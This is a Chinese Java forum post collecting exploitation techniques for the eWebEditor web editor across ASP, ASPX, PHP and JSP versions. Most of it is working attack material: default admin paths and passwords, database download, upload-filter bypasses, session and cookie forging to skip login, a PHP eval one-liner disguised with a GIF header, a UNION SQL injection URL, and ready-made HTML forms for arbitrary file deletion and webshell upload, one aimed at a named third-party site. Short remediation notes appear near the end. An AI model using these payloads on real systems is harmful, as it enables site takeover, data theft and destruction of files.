Java自学者论坛

 找回密码
 立即注册

手机号码,快捷登录

恭喜Java自学者论坛(https://www.javazxz.com)已经为数万Java学习者服务超过8年了!积累会员资料超过10000G+
成为本站VIP会员,下载本站10000G+会员资源,会员资料板块,购买链接:点击进入购买VIP会员

JAVA高级面试进阶训练营视频教程

Java架构师系统进阶VIP课程

分布式高可用全栈开发微服务教程Go语言视频零基础入门到精通Java架构师3期(课件+源码)
Java开发全终端实战租房项目视频教程SpringBoot2.X入门到高级使用教程大数据培训第六期全套视频教程深度学习(CNN RNN GAN)算法原理Java亿级流量电商系统视频教程
互联网架构师视频教程年薪50万Spark2.0从入门到精通年薪50万!人工智能学习路线教程年薪50万大数据入门到精通学习路线年薪50万机器学习入门到精通教程
仿小米商城类app和小程序视频教程深度学习数据分析基础到实战最新黑马javaEE2.1就业课程从 0到JVM实战高手教程MySQL入门到精通教程
查看: 1378|回复: 0

ewebeditor编辑器ASP/ASPX/PHP/JSP版本漏洞利用总结及解决方法

[复制链接]
  • TA的每日心情
    奋斗
    7 天前
  • 签到天数: 803 天

    [LV.10]以坛为家III

    2053

    主题

    2111

    帖子

    72万

    积分

    管理员

    Rank: 9Rank: 9Rank: 9

    积分
    726482
    发表于 2021-5-2 03:21:46 | 显示全部楼层 |阅读模式

    这个编辑器按脚本分主要有4个版本,ASP/ASPX/PHP/JSP 每个版本都有可以利用的漏洞。
    判断网站是否使用了eWebEditor
    查看程序源代码,看看源码中是否存在类似”ewebeditor.asp?id=”语句,只要有此语句的存在,就能判断网站确实使用了WEB编辑器。另外一种方法就是站上新闻或者其他板块上找图片、附件等的链接,是否为admin/eWebEditor/UploadFile/xxxx.jpg之类格式。
    安全漏洞
    管理员未对编辑器的数据库路径和名称进行修改,导致可以利用编辑器默认路径直接对网站数据库进行下载。
    管理员未对编辑器的用户登录路径进行修改,导致黑客可以利用网站数据库所获得的用户名和密码直接登陆编辑器管理后台。
    该WEB编辑器上传程序存在的安全漏洞。
    ============================================================================================================
    一、ASP版
    1.关键文件的名称和路径
    这个版本其实个人感觉是影响最大,使用最多的一个了吧,早期很多asp站都用这个,当然现在也是大量的存在的……
    几个关键文件的名称和路径:
    Admin_Login.asp 登录页面
    Admin_Default.asp 管理首页
    Admin_Style.asp
    Admin_UploadFile.asp
    Upload.asp
    Admin_ModiPwd.asp
    eWebEditor.asp
    db/ewebeditor.mdb 默认数据库路径
    2.默认用户名密码
    一般用这个的默认后台的URL都是默认的:
    www.80lr.com/admin/ewebeditor/login_admin.asp
    类似:
    www.80lr.com/ewebeditor/login_admin.asp
    www.80lr.com/admin/eweb/login_admin.asp
    www.80lr.com/admin/editor/login_admin.asp
    而且账户和密码也基本都是默认的:admin admin(admin888)
    3.下载数据库
    还有如果默认的账户和密码修改了,我们可以下载他的数据库,然后本地破解MD5了.
    默认数据库:…/db/ewebeditor.mdb 或者 …/db/ewebeditor.asp,一般下载数据库后打开察看就可以了。
    4.文件上传
    登录后台后,点击”样式管理”,随便选择列表中底下的某一个样式。注意:eWebEditor自带的样式是不允许修的,当然你也可以拷贝一个新的样式来设置。在上传的”其它类型”中增加”asa”类型:接下来把免杀的ASP木马的后缀名改成asa,返回管理首页,点击”预览”,然后选择”插入其它文件”的按钮进行ASP木马的上传:上传的ASP木马就在”UploadFile”文件夹里。
    如果加了asa类型后发现还是无法上传。应该是站长懂点代码,自己修改了Upload.asp文件,但是没有关系,按照常人的思维习惯,往往会直接在sAllowExt = Replace(UCase(sAllowExt), “ASP”, “”)一句上修改,我就看见过一个站长是这样修改的:sAllowExt = Replace(Replace(Replace(Replace(Replace(UCase(sAllowExt), “ASP”, “”), “CER”, “”), “ASA”, “”), “CDX”, “”), “HTR”, “”)猛一看什么都过滤了,但是我们只要在上传类型中增加”aaspsp”,就可以直接上传asp文件了。
    如果上述两种方法都失败了,则利用eWebEditor能够设定自动保存远程文件的类型,我们可以加入asp类型。但是如何才能让远程访问的asp文件能够以源码形式保存呢?方法是很多的,最简单的方法是将IIS中的”应用文件映射”中的”asp”删除。(此方法未经测试,个人感觉利用率不高)
    有的站数据库设置了只读属性,这样的站你是无法新加样式的,这样的站你可以看他数据库里的样式设置情况,一般很多时候都是让人给拿过的,而且明显的asa在那里。这样的话就可以直接构造一个调用这个样式的连接来上传shell。比如发现数据库里有样式 123 他设置的是可以上传asa的话那么就可以这样调用:http://www.xxx.com/eWeb/eWebEditor.asp?id=contentCN&style=123这样就可以直接上传了,然后在点”编辑”就会找到shell的路径了。其实这个漏洞主要是upload.asp的过滤不严造成的,新版的应该都修复了,具体受影响的版本我也没统计过。
    5.遍历路径
    ewebeditor遍历路径漏洞(当数据库只读的时候)ewebeditor/admin_uploadfile.asp?id=14在id=14后面添加&dir=再加 &dir=/或&dir=http://www.80lr.com// 看到整个网站文件了, 不过此项在测试的时候发现,只有登录成功才能进行这项操作。
    6.Cookie漏洞
    漏洞文件:Admin_Private.asp.
    漏洞语句:
    <% If Session(”eWebEditor_User”) = “” Then
    Response.Redirect “admin_login.asp”
    Response.End
    End If
    只判断了session,没有判断cookies和路径的验证问题。
    漏洞利用:
    新建一个mrchen.asp内容如下:
    <%Session(“eWebEditor_User”) = “11111111″%>
    访问mrchen.asp,再访问后台任何文件,for example:Admin_Default.asp这个拿shell的方法就简单了。
    ============================================================================================================
    二、ASPX版
    Javascript文件上传
    受影响文件:eWebEditorNet/upload.aspx
    原理:代码
    “uploadfile” style=”file” size=”uploadfile” runat=
    “lbtnUpload” runat=
    “JavaScript”>
    只是简单的对ID进行验证,只要构造javascript:lbtnUpload.click();满足条件达到上传木马的效果。
    利用方法:添好本地的cer的Shell文件。在浏揽器输入javascript:lbtnUpload.click();就能得到shell,绕过了限制,成功上传ASPX文件, 。成功以后查看源代码代码
    a “lbtnUpload” “javascript:__doPostBack(‘lbtnUpload’,”)”script ‘javascript’
    文件默认的上传后保存的地址是eWebEditorNet/UploadFile/,看看是否上传成功。
    ============================================================================================================
    三、PHP版
    关于eWebEditor 漏洞php版本的和asp的一样。有目录浏览。和编辑扩展名。重点在于虽然支持了php格式但上传还是上传不了。不过利用织梦的gif89a漏洞倒可以实现php一句话上传,然后再上传webshell。
    备注:织梦的gif89a漏洞,准确来说应该是DEDECMS中所用的php版的FCKeditor存在上传漏洞,gif89a文件头欺骗。DEDECMS中在上传拖上没有对picSubmit进行任何处理。但是却不能直接上传php马。因为会识别。使用修改过的php小马。
    gif89a
    phpinfo();
    ?>
    RFI
    gif89a
    eval($_POST[/c]);
    ?>
    利用gif89a进行了欺骗。现在上传就可以成功了。然后有php一句话客户端连接。
    php版本后台是调用../ewebeditor/admin/config.php,大家去看下源码就知道,在这里我说说利用方法:
    1 首先当然要找到登陆后台,默认是../eWebEditor/admin/login.php,进入后台后随便输入一个用户和密码,当然会提示出错了,必须是出错的时候,然后这时候你清空浏览器的url,然后输入javascript:alert(document.cookie=”adminuser=”+escape(”admin”));javascript:alert(document.cookie=”adminpass=”+escape(”admin”));javascript:alert(document.cookie=”admindj=”+escape(”1″));后三次回车
    2 然后输入正常情况才能访问的文件../ewebeditor/admin/default.php就可以进后台了
    3 后面的利用和asp一样,新增样式修改上传,就ok了
    测试一下asp 2.8版本的,竟然一样可以用,爽,看来asp版的应该可以通杀(只测试2.8的,貌似2.8是最高版本的)
    aspx的版本../ewebeditor/admin/upload.aspx添好本地的cer的Shell文件,在浏揽器输入javascript:lbtnUpload.click();就能得到shell
    jsp的上传漏洞以及那个出了N久了,由于没有上传按钮,选择好要上传的shell,直接回车就可以了
    ============================================================================================================
    四、JSP版
    上传漏洞
    影响版本:漏洞存在于ewebeditor jsp版 1.4以下版本,漏洞有两个版本。
    原理:第一个是使用savefile.jsp来进行文件上传操作的,从代码中可以看出,程序并没做任何上传过滤,这样我们就可以直接上传一个JSPShell了。另一个版本可能是被人修改过,把代码转成了servlet,不能看到代码,但是利用方法却大同小异。
    利用方法:我们先找一个1.4版本以下的ewebeditor JSP上传页面,选择好一个JSPShell。这个ewebeditor是没有提交按钮的,所以这里涉及到一个小技巧,就是在上传的对话框中敲下回车,大约过半分钟,就可以查看网页的源文件来寻找我们的Webshell了。
    解决方法
    1.修改admin密码;
    2.upload.asp中的:
    “任何情?下都不允许上传asp脚本文件sAllowExt = Replace(UCase(sAllowExt), “ASP”, “”)
    改为:
    “任何情?下都不允许上传asp脚本文件
    sAllowExt = Replace(UCase(sAllowExt), “ASP”, “”)
    sAllowExt = Replace(UCase(sAllowExt), “ASA”, “”)
    sAllowExt = Replace(UCase(sAllowExt), “CER”, “”)
    sAllowExt = Replace(UCase(sAllowExt), “AASPSP”, “”)
    sAllowExt = Replace(UCase(sAllowExt), “CDX”, “”)
    sAllowExt = Replace(UCase(sAllowExt), “HTR”, “”)
    3. Admin_Private.asp:
    If Session(”eWebEditor_User”) = “” Then
    Response. Redirect “admin_login.asp”
    Response. End
    End If
    改为:
    If Session(”eWebEditor_User”) = “” and IsSelfRefer() Then
    Response.Redirect “admin_login.asp”
    Response.End
    End If
    4.将db/ewebeditor.mdb数据库文件名改为其他包含#等字符的文件名;
    5. 将IIS中的”应用文件映射”中的”asp”删除;
    6. 仍有问题删除admin_login.asp文件。
    2009年3月补充:
    这个漏洞可以很鸡肋,也可以很致命,关键看你怎么利用!此漏洞存在于Example\NewsSystem目录下的delete.asp文件中,这是ewebeditor的测试页面,无须登陆可以直接进入,看这些代码:
    ‘ 把带”|”的字符串转为数组
    Dim aSavePathFileName
    aSavePathFileName = Split(sSavePathFileName, “|”)
    ‘ 删除新闻相关的文件,从文件夹中
    Dim i
    For i = 0 To UBound(aSavePathFileName)
    ‘ 按路径文件名删除文件
    Call DoDelFile(aSavePathFileName(i))
    Next
    而aSavePathFileName是前面从数据库取出来的:
    sSavePathFileName = oRs(”D_SavePathFileName”)
    看看D_SavePathFileName是怎么添加到数据库里的,在addsave.asp(modifysave.asp)里:
    sSavePathFileName = GetSafeStr(Request.Form(”d_savepathfilename”))

    oRs(”D_SavePathFileName”) = sSavePathFileName
    居然过滤了,是GetSafeStr函数,再看看这个函数,在Startup.asp里:
    Function GetSafeStr(str)
    GetSafeStr = Replace(Replace(Replace(Trim(str), “‘”, “”), Chr(34), “”), “;”, “”)
    End Function
    无语,这不是过滤字符型注入的函数么?放这里什么用也没有啊!既然路径没有过滤,那就可以直接定义了,构造一个提交页面,其中 d_savepathfilename自己任意赋值(要删除多个文件,用|隔开即可)。试试//eWebEditor.asp,提交后删除该新 闻,于是主目录下的eWebEditor.asp不见了!下面给出利用的htm:
    <HTML><HEAD><TITLE>eWebEditor删除文件(http://www.80lr.com)</TITLE>
    <style>body,p,td,input {font-size:9pt}</style>
    </HEAD><BODY><a href=’list.asp’>新闻列表</a> | <a href=’add.asp’>增加新闻</a>
    <b>增加新闻</b>
    <form action=”http://www.80lr.com/editor/Example/NewsSystem/addsave.asp“
    method=”post” name=”myform”>
    <input type=hidden name=d_originalfilename>
    <input type=hidden name=d_savefilename>
    <table cellspacing=3 align=center>
    <tr><td>要删的文件(相对路径就可以了):</td>
    <td><input type=”text” name=”d_savepathfilename” value=”" size=”90″></td>
    </tr>
    <tr><td>新闻标题(随便填):</td>
    <td><input type=”text” name=”d_title” value=”" size=”90″></td>
    </tr>
    <tr><td>标题图片:</td>
    <td><select name=”d_picture” size=1>《option value=”>无</option></select>
    当编辑区有插入图片时,将自动填充此下拉框</td>
    </tr>
    <tr><td>新闻内容(随便填):</td>
    <td><textarea name=”d_content”></textarea></td>
    </tr>
    </table>
    <input type=submit name=btnSubmit value=” 提 交 “>
    <input type=reset name=btnReset value=” 重 填 “>
    </form>
    </BODY></HTML>
    删除文件漏洞一般是配合其他漏洞使用的,比如目录遍历!
    ============================================================================================================
    ewebeditor漏洞解?方法2009-06-13 09:45
    1,修改admin的密码.
    2,upload.asp中的
    ‘ 任何情况下都不允许上传asp脚本文件
    sAllowExt = Replace(UCase(sAllowExt), “ASP”, “”)
    改为:
    ‘ 任何情况下都不允许上传asp脚本文件
    sAllowExt = Replace(UCase(sAllowExt), “ASP”, “”)
    sAllowExt = Replace(UCase(sAllowExt), “ASA”, “”)
    sAllowExt = Replace(UCase(sAllowExt), “CER”, “”)
    sAllowExt = Replace(UCase(sAllowExt), “AASPSP”, “”)
    sAllowExt = Replace(UCase(sAllowExt), “CDX”, “”)
    sAllowExt = Replace(UCase(sAllowExt), “HTR”, “”)
    3,Admin_Private.asp
    If Session(“eWebEditor_User”) = “” Then
    Response.Redirect “admin_login.asp”
    Response.End
    End If
    改为:
    If Session(“eWebEditor_User”) = “” and IsSelfRefer() Then
    Response.Redirect “admin_login.asp”
    Response.End
    End If
    4,将db/ewebeditor.mdb改为13sd265341558110#$__.asp
    同时也要将startup.aspoConn.Open “Provider=Microsoft.Jet.OLEDB.4.0; Data Source=” & Server.MapPath(“db/13sd265341558110#$__.asp”)
    5,将IIS中的”应用文件映射”中的”asp”删除.
    6,还有问题删除admin_login.asp文件.
    =========================================================
    Ewebeditor 2.1.6 ASP 以下版本上传漏洞
    UNION运用-直接叼SHELL
    以前曾进过一个网站,把上传部份的asp代码下载回来研究,当时感觉有漏洞但没仔细研究,还以为那是他们自已写的程序。
    前几天看到ewebeditor有漏洞的文章才想起那个网站原来用的也是ewebeditor。今天仔细看了看,发现问题了(2.1.6版本以后不存在),可以指定上传后的文件扩展名为除asp外的任何,如果该网站没有删除cer、asa等文件与asp.dll的映射,就可以上传木马了。
    问题出在upload.asp文件中,相关代码如下(以2.1.6版为例)
    Sub InitUpload()
    sType = UCase(Trim(Request.QueryString(“type”)))
    *sStyleName = Trim(Request.QueryString(“style”))
    sSql = “select * from ewebeditor_style where s_name=’” & sStyleName & “‘”
    oRs.Open sSql, oConn, 0, 1
    If Not oRs.Eof Then
    sUploadDir = oRs(“S_UploadDir”)
    sUploadDir = Replace(sUploadDir, “\”, “/”)
    If Right(sUploadDir, 1) <> “/” Then
    sUploadDir = sUploadDir & “/”
    End If
    Select Case sType
    Case “FILE”
    sAllowExt = oRs(“S_FileExt”)
    nAllowSize = oRs(“S_FileSize”)
    Case “MEDIA”
    sAllowExt = oRs(“S_MediaExt”)
    nAllowSize = oRs(“S_MediaSize”)
    Case “FLASH”
    sAllowExt = oRs(“S_FlashExt”)
    nAllowSize = oRs(“S_FlashSize”)
    Case Else
    sAllowExt = oRs(“S_ImageExt”)
    nAllowSize = oRs(“S_ImageSize”)
    End Select
    Else
    OutScript(“parent.UploadError(‘无效的样式ID号,请通过页面上的链接进行操作!’)”)
    End If
    oRs.Close
    ‘ 任何情况下都不允许上传asp脚本文件
    sAllowExt = Replace(UCase(sAllowExt), “ASP”, “”)
    End Sub
    上面的sStyleName变量直接从style中读取,并没有过滤,所以可以包含任意字符,往下看,用select在ewebeditor_style表中查找s_name为sStyleName的记录,找不到就提示出错。
    表面上看有sql注入漏洞,有可能猜出数据库的表、字段,但那些根本没用,管理员信息不在这个数据库中。
    如果在sStyleName变量中用union来构造记录,情况就不同了,我们可以在sAllowExt中加入”|cer”、”|asa”,
    构造如下
    upload.asp?action=save&type=IMAGE&style=hzh’ union select S_ID,S_Name,S_Dir,S_CSS,S_UploadDir,S_Width,S_Height,S_Memo,S_IsSys,S_FileExt,S_FlashExt,[S_ImageExt]+’|cer’,S_MediaExt,S_RemoteExt,S_FileSize,S_FlashSize,S_ImageSize,S_MediaSize,S_RemoteSize,S_StateFlag,S_DetectFromWord
    ,S_InitMode,S_BaseUrl,S_UploadObject,S_AutoDir,S_BaseHref,S_ContentPath,S_AutoRemote,S_ShowBorder from ewebeditor_style where s_name=’standard’ and ‘a’=’a
    编码后就是
    upload.asp?action=save&type=IMAGE&style=hzh’%20union%20select%20S_ID,S_Name,S_Dir,S_CSS,S_UploadDir,S_Width,S_Height,S_Memo,S_IsSys,S_FileExt,S_FlashExt,[S_ImageExt]%2b’|cer’,S_MediaExt,S_RemoteExt,S_FileSize,S_FlashSize,S_ImageSize,S_MediaSize,S_RemoteSize,S_StateFlag,S_DetectFromWord
    ,S_InitMode,S_BaseUrl,S_UploadObject,S_AutoDir,S_BaseHref,S_ContentPath,S_AutoRemote,S_ShowBorder%20from%20ewebeditor_style%20where%20s_name=’standard’%20and%20′a’=’a
    上面的”hzh”可以改为任何字符,但由于只取第一条记录的数据,所以必须使union前的select结果为空,[S_ImageExt]+’|cer’表示在选择的S_ImageExt字段中加入”|cer”串。
    用nc或其它工具发送就可以上传木马了。
    最后提一下union,UNION 操作一般被用来把来自表单、SELECT语句或查询的数据结合,并省略掉任何重复的行。所有的数据源必须有相同数目的域,不过这些域不一定要是相同的数据类型,即UNION操作不会显示任何在两个表单中重复出现的记录。利用UNION 的查询语句一定要与UNION前的查询语句字段列相等。
    ================================================================
    <H3>ewebeditor asp版 2.1.6 上传漏洞利用程序?-</H3><br><br>
    <form action=”http://jpkc.hutc.zj.cn/mz/back/ewebeditor/upload.asp?action=save&amp;type=IMAGE&amp;style=standard’union select S_ID,S_Name,S_Dir,S_CSS,S_UploadDir,S_Width,S_Height,S_Memo,S_IsSys,S_FileExt,S_FlashExt, [S_ImageExt]%2b’|cer’,S_MediaExt,S_FileSize,S_FlashSize,S_ImageSize,S_MediaSize,S_StateFlag,S_DetectFromWord
    ,S_InitMode,S_BaseUrl from ewebeditor_style where s_name=’standard’and’a’=’a”  method=post name=myform enctype=”multipart/form-data”>
    <input type=file name=uploadfile size=100><br><br>
    <input type=submit value=Fuck>
    </form>
    只针对于ASP版本
    修改上传地址保存为HTM文件,打开可以直接上传CER文件,测试成功.上传后地址看源文件.

    哎...今天够累的,签到来了1...
    回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    QQ|手机版|小黑屋|Java自学者论坛 ( 声明:本站文章及资料整理自互联网,用于Java自学者交流学习使用,对资料版权不负任何法律责任,若有侵权请及时联系客服屏蔽删除 )

    GMT+8, 2024-11-24 14:51 , Processed in 1.024966 second(s), 30 queries .

    Powered by Discuz! X3.4

    Copyright © 2001-2021, Tencent Cloud.

    快速回复 返回顶部 返回列表